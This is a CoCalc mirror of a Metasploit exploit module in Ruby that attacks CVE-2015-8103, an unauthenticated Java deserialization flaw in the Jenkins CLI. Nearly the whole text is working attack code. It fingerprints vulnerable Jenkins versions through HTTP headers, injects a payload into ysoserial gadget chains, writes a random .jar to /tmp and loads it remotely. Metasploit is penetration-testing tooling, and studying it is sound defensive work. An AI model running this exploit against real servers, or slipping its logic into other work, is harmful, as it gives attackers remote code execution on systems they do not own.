CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/jenkins_java_deserialize.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',
15
'Description' => %q{
16
This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
17
the Jenkins master, which allows remote arbitrary code execution. Authentication is not
18
required to exploit this vulnerability.
19
},
20
'Author' =>
21
[
22
'Christopher Frohoff', # Vulnerability discovery
23
'Steve Breen', # Public Exploit
24
'Dev Mohanty', # Metasploit module
25
'Louis Sato', # Metasploit
26
'wvu', # Metasploit
27
'juan vazquez', # Metasploit
28
'Wei Chen' # Metasploit
29
],
30
'License' => MSF_LICENSE,
31
'References' =>
32
[
33
['CVE', '2015-8103'],
34
['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
35
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
36
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
37
['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
38
],
39
'Platform' => 'java',
40
'Arch' => ARCH_JAVA,
41
'Targets' =>
42
[
43
[ 'Jenkins 1.637', {} ]
44
],
45
'DisclosureDate' => '2015-11-18',
46
'DefaultTarget' => 0))
47
48
register_options([
49
OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
50
OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
51
Opt::RPORT('8080')
52
])
53
54
register_advanced_options([
55
OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
56
])
57
end
58
59
def cli_port
60
@jenkins_cli_port || datastore['XJenkinsCliPort']
61
end
62
63
def exploit
64
if cli_port == 0 && !vulnerable?
65
fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
66
end
67
invoke_remote_method(set_payload)
68
invoke_remote_method(class_load_payload)
69
end
70
71
72
# This is from the HttpClient mixin. But since this module isn't actually exploiting
73
# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
74
# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.
75
76
def target_uri
77
begin
78
# In case TARGETURI is empty, at least we default to '/'
79
u = datastore['TARGETURI']
80
u = "/" if u.nil? or u.empty?
81
URI(u)
82
rescue ::URI::InvalidURIError
83
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
84
raise Msf::OptionValidateError.new(['TARGETURI'])
85
end
86
end
87
88
def normalize_uri(*strs)
89
new_str = strs * "/"
90
91
new_str = new_str.gsub!("//", "/") while new_str.index("//")
92
93
# Makes sure there's a starting slash
94
unless new_str[0,1] == '/'
95
new_str = '/' + new_str
96
end
97
98
new_str
99
end
100
101
def check
102
result = Exploit::CheckCode::Safe
103
104
begin
105
if vulnerable?
106
result = Exploit::CheckCode::Vulnerable
107
end
108
rescue Msf::Exploit::Failed => e
109
vprint_error(e.message)
110
return Exploit::CheckCode::Unknown
111
end
112
113
result
114
end
115
116
def vulnerable?
117
res = send_request_cgi({
118
'uri' => normalize_uri(target_uri.path)
119
})
120
121
unless res
122
fail_with(Failure::Unknown, 'The connection timed out.')
123
end
124
125
http_headers = res.headers
126
127
unless http_headers['X-Jenkins-CLI-Port']
128
vprint_error('The server does not have the CLI port that is needed for exploitation.')
129
return false
130
end
131
132
if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
133
@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
134
return true
135
end
136
137
false
138
end
139
140
# Connects to the server, creates a request, sends the request,
141
# reads the response
142
#
143
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
144
#
145
def send_request_cgi(opts={}, timeout = 20)
146
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
147
actual_timeout = datastore['HttpClientTimeout']
148
else
149
actual_timeout = opts[:timeout] || timeout
150
end
151
152
begin
153
c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
154
c.connect
155
r = c.request_cgi(opts)
156
c.send_recv(r, actual_timeout)
157
rescue ::Errno::EPIPE, ::Timeout::Error
158
nil
159
end
160
end
161
162
def invoke_remote_method(serialized_java_stream)
163
begin
164
socket = connect(true, {'RPORT' => cli_port})
165
166
print_status 'Sending headers...'
167
socket.put(read_bin_file('serialized_jenkins_header'))
168
169
vprint_status(socket.recv(1024))
170
vprint_status(socket.recv(1024))
171
172
encoded_payload0 = read_bin_file('serialized_payload_header')
173
encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
174
encoded_payload2 = read_bin_file('serialized_payload_footer')
175
176
encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
177
print_status "Sending payload length: #{encoded_payload.length}"
178
socket.put(encoded_payload)
179
ensure
180
disconnect(socket)
181
end
182
183
end
184
185
def print_status(msg='')
186
super("#{rhost}:#{rport} - #{msg}")
187
end
188
189
#
190
# Serialized stream generated with:
191
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
192
#
193
def set_payload
194
stream = Rex::Java::Serialization::Model::Stream.new
195
196
handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')
197
decoded = stream.decode(handle)
198
handle.close
199
200
inject_payload_into_stream(decoded).encode
201
end
202
203
#
204
# Serialized stream generated with:
205
# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
206
#
207
def class_load_payload
208
stream = Rex::Java::Serialization::Model::Stream.new
209
handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')
210
decoded = stream.decode(handle)
211
handle.close
212
inject_class_loader_into_stream(decoded).encode
213
end
214
215
def inject_class_loader_into_stream(decoded)
216
file_name_utf8 = get_array_chain(decoded)
217
.values[2]
218
.class_data[0]
219
.values[1]
220
.values[0]
221
.values[0]
222
.class_data[3]
223
file_name_utf8.contents = get_random_file_name
224
file_name_utf8.length = file_name_utf8.contents.length
225
class_name_utf8 = get_array_chain(decoded)
226
.values[4]
227
.class_data[0]
228
.values[0]
229
class_name_utf8.contents = 'metasploit.Payload'
230
class_name_utf8.length = class_name_utf8.contents.length
231
decoded
232
end
233
234
def get_random_file_name
235
@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
236
end
237
238
def inject_payload_into_stream(decoded)
239
byte_array = get_array_chain(decoded)
240
.values[2]
241
.class_data
242
.last
243
byte_array.values = payload.encoded.bytes
244
file_name_utf8 = decoded.references[44].class_data[0]
245
rnd_fname = get_random_file_name
246
register_file_for_cleanup(rnd_fname)
247
file_name_utf8.contents = rnd_fname
248
file_name_utf8.length = file_name_utf8.contents.length
249
decoded
250
end
251
252
def get_array_chain(decoded)
253
object = decoded.contents[0]
254
lazy_map = object.class_data[1].class_data[0]
255
chained_transformer = lazy_map.class_data[0]
256
chained_transformer.class_data[0]
257
end
258
259
def read_bin_file(bin_file_path)
260
data = ''
261
262
File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|
263
data = f.read
264
end
265
266
data
267
end
268
end
269
270